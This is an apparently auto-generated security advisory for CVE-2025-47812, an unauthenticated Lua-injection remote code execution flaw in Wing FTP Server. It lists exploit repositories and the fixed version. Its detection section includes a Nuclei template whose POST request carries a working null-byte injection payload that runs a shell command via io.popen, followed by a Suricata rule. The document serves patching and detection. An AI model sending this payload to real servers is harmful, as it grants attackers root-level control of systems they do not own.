CVE-2025-47812: Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle ‘\0’ bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.
Description quoted from the CVE record (assigned by mitre, published 2025-07-10).
Weakness: CWE-158 Improper Neutralization of Null Byte or NUL Character
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2025-07-14
- US federal deadline
- 2025-08-04
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2025-08471, CNNVD-202507-144, EDB-52347, EUVD-2025-21009, EUVD-2025-21021, GHSA-j4xf-75rr-vvrv, GHSA-r7h5-5g56-gv3h
VEDAS cluster: VEDAS:BARKINGBREEZE
Exploit Observer links 29 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (29)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Exploit-DB: https://www.exploit-db.com/raw/52347
- Exploit-DB: https://www.exploit-db.com/raw/52347
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-47812.yaml
- Code repository: https://github.com/0xcan1337/cve-2025-47812-poc
- Code repository: https://github.com/0xgh057r3c0n/cve-2025-47812
- Code repository: https://github.com/0xjuarez/cve-2025-47812
- Code repository: https://github.com/0xs4n4tg/cve-2025-47812
- Code repository: https://github.com/4m3rr0r/cve-2025-47812-poc
- Code repository: https://github.com/b1ack4sh/blackash-cve-2025-47812
- Code repository: https://github.com/blindma1den/cve-2025-47812
- Code repository: https://github.com/cty-research-1/cve-2025-47812_lab_environment
- Code repository: https://github.com/dkstar11q/blackash-cve-2025-47812
- and 17 more
Research and write-ups (4)
- Research or write-up: https://huntress.com/blog/wing-ftp-server-remote-code-execution-cve-2025-47812-exploited-in-wild
- Research or write-up: https://rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812
- Research or write-up: https://www.huntress.com/blog/wing-ftp-server-remote-code-execution-cve-2025-47812-exploited-in-wild
- Research or write-up: https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812
Vulnerability databases and vendor advisories (10)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-21009
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2025-21021
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-j4xf-75rr-vvrv
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-r7h5-5g56-gv3h
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
- Vulnerability database or vendor advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-47812
- Vulnerability database or vendor advisory: https://www.cnnvd.org.cn/home/globalSearch?keyword=CNNVD-202507-144
- Vulnerability database or vendor advisory: https://www.tenable.com/cve/CVE-2025-47812
- Vulnerability database or vendor advisory: https://www.vicarius.io/vsociety/posts/cve-2025-47812-detection-script-remote-code-execution-vulnerability-in-wing-ftp-server
- Vulnerability database or vendor advisory: https://www.vicarius.io/vsociety/posts/cve-2025-47812-mitigation-script-remote-code-execution-vulnerability-in-wing-ftp-server
220 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.939
very likely to be attacked soon - VEDAS
- 0.985
strong exploit evidence - On CISA KEV
- Yes, since 2025-07-14
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| wftpserver Wing FTP Server | before 7.4.4 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
Exploit Observer also maps it to: wftpserver wing_ftp_server, wing_ftp_software wing_ftp_server.
How to fix it
Fixed versions stated in the CVE record: 7.4.4.
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
How to detect it
Nuclei template (active check)
Wingftp - Remote Code Execution
In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle ‘\0’ bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default).
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (POST /loginok.html, GET /dir.html); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2025-47812.yamlShow the template (43 lines)
id: CVE-2025-47812
info:
name: "Wingftp - Remote Code Execution"
author: vedas-arpsyndicate
severity: critical
description: |
In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle '\0' bytes, ultimately allowing
injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands
with the privileges of the FTP service (root or SYSTEM by default).
reference:
- https://www.exploit.observer/?keyword=CVE-2025-47812&match=exact
- https://subdomain.center/?engine=ammonites&keyword=wingftp&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-47812
metadata:
verified: false
tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev,vuln
variables:
cmd: "echo CVE-2025-47812"
http:
- raw:
- |
POST /loginok.html HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=anonymous%00]]%0dlocal+h+%3d+io.popen("{{cmd}}")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=
- raw:
- |
GET /dir.html HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(to_lower(body), "cve-2025-47812")'
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-47812 Wingftp - Remote Code Execution. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-47812 Wingftp - Remote Code Execution"; flow:established,to_server; http.uri; content:"/loginok.html"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-47812; reference:url,https://www.exploit.observer/?keyword=CVE-2025-47812&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wingftp&match=exact; sid:1009150; rev:1;)
CVE-2025-47812.rules on GitHub
References
Exploits and technical analysis
- https://www.huntress.com/blog/wing-ftp-server-remote-code-execution-cve-2025-47812-exploited-in-wild (third-party-advisory)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-47812 (government-resource)
Other references
- https://www.wftpserver.com
- https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
- https://www.vicarius.io/vsociety/posts/cve-2025-47812-mitigation-script-remote-code-execution-vulnerability-in-wing-ftp-server
- https://www.vicarius.io/vsociety/posts/cve-2025-47812-detection-script-remote-code-execution-vulnerability-in-wing-ftp-server
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.